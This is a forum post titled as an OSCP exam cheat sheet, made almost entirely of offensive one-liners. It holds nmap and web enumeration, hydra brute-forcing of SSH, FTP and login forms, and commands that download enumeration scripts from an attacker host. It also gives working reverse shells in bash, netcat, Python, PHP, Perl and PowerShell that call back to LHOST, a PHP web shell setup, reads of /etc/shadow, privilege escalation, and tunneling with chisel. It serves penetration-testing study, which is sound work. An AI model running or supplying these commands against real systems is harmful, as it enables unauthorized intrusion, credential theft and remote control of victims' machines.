

Forum: [Hack Forums](#)

Thread: [OSCP OneLiners Cheat Sheet \(Exam Focused\)](#)

Clumsy - December 12, 2025, 9:28 pm

GLOBAL SETUP

```
export IP=10.10.10.10
export LHOST=10.10.10.1
export PORT=4444
script -f oscp.log
```

NETWORK DISCOVERY

```
ip a
ip r
arp -a
arp-scan -l
netdiscover -r 10.10.10.0/24
```

NMAP (FULL COVERAGE)

```
nmap -sn 10.10.10.0/24
nmap -p- --min-rate 10000 -T4 $IP
nmap -p- -sS -T4 $IP
nmap -sC -sV -p 21,22,25,80,443,445,3389 $IP
nmap -A $IP
nmap -sU --top-ports 200 $IP
nmap --script vuln $IP
nmap --script smb* -p 445 $IP
nmap --script ftp* -p 21 $IP
```

WEB ENUMERATION (HTTP/HTTPS)

```
whatweb http://$IP
curl -I http://$IP
curl -s http://$IP/robots.txt
curl -s http://$IP/sitemap.xml
curl -s http://$IP/.git/config
```

```
ffuf -u http://$IP/FUZZ -w /usr/share/wordlists/dirb/common.txt
ffuf -u http://$IP/FUZZ -w big.txt -e .php,.asp,.aspx,.txt,.bak,.old,.zip
ffuf -u http://$IP -H "Host: FUZZ" -w vhosts.txt
```

```
gobuster dir -u http://$IP -w /usr/share/wordlists/dirb/common.txt
gobuster vhost -u http://$IP -w vhosts.txt
```

nikto -h http://\$IP

wget -r -np -nH http://\$IP

wget --mirror --convert-links --adjust-extension http://\$IP

FILE UPLOAD / WEBSHELL

cp /usr/share/webshells/php/php-reverse-shell.php shell.php

sed -i "s/127.0.0.1/\$LHOST/" shell.php

SMB ENUMERATION

smbclient -L //\$IP -N

smbclient //\$IP/share -N

smbmap -H \$IP

smbmap -H \$IP -R

enum4linux \$IP

enum4linux -a \$IP

rpcclient -U "" \$IP -c "enumdomusers"

rpcclient -U "" \$IP -c "querydispinfo"

FTP ENUMERATION

ftp \$IP

wget -m ftp://anonymous:anonymous@\$IP

nc \$IP 21

SNMP ENUMERATION

snmpwalk -v2c -c public \$IP

snmpwalk -v1 -c public \$IP

snmp-check \$IP

EMAIL / SMTP

nc \$IP 25

smtp-user-enum -M VRFY -U users.txt -t \$IP

DATABASE ACCESS

mysql -h \$IP -u root -p

mysql -h \$IP -u admin -p

psql -h \$IP -U postgres

impacket-mssqlclient user:pass@\$IP

impacket-mssqlclient sa@\$IP

BRUTE FORCE

```
hydra -l root -P rockyou.txt ssh://$IP
hydra -L users.txt -P rockyou.txt ssh://$IP
hydra -l admin -P rockyou.txt ftp://$IP
```

```
hydra -l admin -P rockyou.txt $IP http-post-form "/login.php:user=^USER^&pass=^PASS^:invalid"
```

FILE TRANSFER

```
python3 -m http.server 80
python2 -m SimpleHTTPServer 80
```

```
wget http://$LHOST/linpeas.sh
curl -O http://$LHOST/winpeas.exe
```

```
nc -lvnp 4444 > file
nc $LHOST 4444 < file
```

```
scp file user@$IP:/tmp
```

REVERSE SHELLS (LINUX)

```
bash -i >& /dev/tcp/$LHOST/4444 0>&1
```

```
nc -e /bin/bash $LHOST 4444
```

```
python3 -c 'import
socket,pty,os;s=socket.socket();s.connect(("LHOST",4444));[os.dup2(s.fileno(),i) for i in
(0,1,2)];pty.spawn("/bin/bash")'
```

```
php -r '$s=fsockopen("LHOST",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
```

```
perl -e 'use
Socket;$i="LHOST";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect
(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");
exec("/bin/sh -i");'
```

REVERSE SHELLS (WINDOWS)

```
nc.exe -e cmd.exe $LHOST 4444
```

```
powershell -nop -c '$c=New-Object
Net.Sockets.TCPClient('$LHOST',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.R
ead($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d
2>&1 | Out-String);$sb=([text.encoding]::ASCII).GetBytes($r);$s.Write($sb,0,$sb.Length)}
```

```
=====
```

SHELL STABILIZATION

```
python3 -c 'import pty;pty.spawn("/bin/bash")'  
export TERM=xterm  
stty raw -echo; fg
```

```
=====
```

LINUX PRIV ESC ENUM

```
id  
uname -a  
sudo -l  
env  
crontab -l  
ls -la /etc/cron*  
find / -perm -4000 2>/dev/null  
getcap -r / 2>/dev/null  
ps aux  
netstat -tulpn  
ss -ltnp  
grep -Ri "pass|pwd|secret" / 2>/dev/null  
cat /etc/passwd  
cat /etc/shadow
```

```
=====
```

LINUX PRIV ESC EXPLOITS

```
sudo /bin/bash  
sudo -u root /bin/sh  
/bin/bash -p
```

```
=====
```

WINDOWS ENUM

```
whoami  
whoami /priv  
systeminfo  
hostname  
ipconfig /all  
net user  
net localgroup administrators
```

```
=====
```

WINDOWS PRIV ESC ENUM

```
wmic service get name,pathname,startmode  
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated  
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

```
=====
```

WINDOWS PRIV ESC

```
msiexec /quiet /qn /i exploit.msi
```

```
=====
```

PIVOTING / TUNNELING

```
ssh -L 8080:127.0.0.1:80 user@$IP
```

```
ssh -D 1080 user@$IP
```

```
chisel server -p 8000 --reverse
```

```
chisel client $LHOST:8000 R:1080:socks
```

```
=====
```

PROOF & REPORT

```
cat proof.txt
```

```
hostname
```

```
ip a
```

```
whoami
```

```
=====
```

here is a better sheet <https://github.com/0xsyr0/OSCP>